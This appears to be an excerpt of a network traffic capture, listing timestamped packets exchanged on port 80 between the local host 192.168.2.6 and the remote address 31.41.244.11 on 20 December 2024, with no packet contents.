Dec 20, 2024 21:13:24.296237946 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.296313047 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.296331882 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.296377897 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.299154997 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.299218893 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.299267054 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.299417973 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.302186012 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.302247047 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.302294016 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.302387953 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.305166006 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.305236101 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.305259943 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.305449963 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.308166981 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.308255911 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.308355093 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.308540106 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.311392069 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.311433077 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.311460972 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.311480045 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.314202070 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.314285040 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.314294100 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.314409971 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.315923929 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.315999985 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.316028118 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.316083908 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.317754984 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.317811012 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.317862988 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.318120956 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.319545031 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.319607019 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.319736958 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.319927931 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.321361065 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.321471930 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.321497917 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.321536064 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.323179007 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.323234081 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.323278904 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.324980974 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.325057030 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.325083971 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.325236082 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.326847076 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.326911926 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.327018976 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.327115059 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.328747034 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.328773975 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.328819990 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.330507040 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.330559969 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.330607891 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.330607891 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.332268000 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.332354069 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.332360029 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.332462072 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.334108114 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.334158897 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.334163904 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.334209919 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.335844040 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.335947037 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.336410999 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.337682009 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.337735891 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.337783098 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.338000059 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.339528084 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.339653015 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.339660883 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.339693069 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.341367006 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.341424942 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.341454029 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.341916084 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.343141079 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.343270063 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.343321085 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.343321085 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.344945908 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.345065117 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.345185995 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.346770048 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.346880913 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.346889973 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.346941948 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.348602057 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.348675966 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.348728895 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.348824978 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.350402117 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.350513935 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.350568056 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.350634098 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.449592113 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.449764967 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.449820042 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.449820042 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.450517893 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.450638056 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.450825930 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.450932980 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.452228069 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.452295065 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.452344894 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.452543020 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.454075098 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.454140902 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.454219103 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.454576969 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.455823898 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.455955029 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.455964088 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.456037998 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.457498074 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.457592964 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.457643032 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.458010912 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.459223986 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.459420919 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.459522009 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.460122108 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.460872889 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.460966110 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.460983992 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.461169004 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.462490082 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.462600946 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.462603092 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.463123083 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.464107037 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.464225054 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.464248896 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.464313984 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.465707064 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.465811968 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.465831041 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.465914011 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.467242002 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.467446089 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.467489958 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.467556953 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.468828917 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.468950033 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.469105959 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.469105959 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.470302105 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.470443010 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.470447063 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.470648050 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.471808910 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.471986055 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.472233057 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.473290920 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.473349094 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.473407030 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.473541975 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.474706888 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.474783897 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.474937916 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.476203918 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.476317883 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.476365089 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.476540089 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.477624893 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.477713108 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.477746964 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.478079081 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.479079962 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.479198933 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.479260921 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.479358912 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.480520010 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.480624914 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.480765104 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.480904102 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.481970072 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.482095003 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.482192039 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.483426094 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.483525991 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.483627081 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.484905005 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.484975100 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.485002995 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.485101938 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.486314058 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.486426115 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.486543894 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.486597061 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.487979889 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.488157034 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.488184929 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.488240004 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.489186049 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.489272118 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.489320040 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.489383936 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.490660906 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.490791082 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.490793943 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.491206884 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.492084980 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.492185116 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.492194891 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.492288113 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.493558884 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.493710041 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.493731022 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.493772984 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.495028973 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.495101929 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.495244980 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.495337963 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.496409893 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.496520996 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.496632099 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.496953964 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.497921944 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.497989893 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.498029947 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.498191118 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.499419928 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.499614954 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.499753952 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.499923944 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.500782967 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.500871897 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.500888109 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.500991106 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.502219915 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.502300978 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.502352953 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.502405882 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.503658056 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.503746033 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.503776073 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.503977060 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.505091906 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.505183935 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.505201101 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.505328894 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.506550074 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.506649017 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.506656885 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.506930113 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.507988930 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.508089066 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.508119106 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.508306980 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.509459972 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.509536982 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.509721041 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.510878086 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.510987997 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.511039972 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.511094093 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.512387037 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.512464046 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.512504101 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.512653112 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.513827085 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.513907909 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.513926029 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.513998032 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.515234947 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.515346050 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.515841007 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.516684055 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.516751051 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.516767979 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.517009974 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.518129110 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.518192053 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.518230915 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.518851042 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.519656897 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.519763947 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.519804955 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.520045042 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.521045923 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.521100044 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.521133900 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.521157980 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.522463083 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.522555113 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.522753954 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.523912907 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.523998022 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.524027109 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.524070978 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.525280952 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.526015997 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.651537895 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.651571989 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.651889086 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.651889086 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.652005911 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.652110100 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.652499914 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.653222084 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.653305054 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.653330088 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.653403044 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.654357910 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.654493093 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.654668093 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.655571938 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.655685902 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.655899048 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.656760931 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.656872034 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.656914949 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.657927036 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.658058882 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.658101082 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.658312082 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.659141064 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.659296036 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.659327984 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.660339117 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.660676956 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.660969973 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.661271095 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.661567926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.661623001 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.662767887 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.662792921 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.662882090 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.662882090 CET	49887	80	192.168.2.6	31.41.244.11
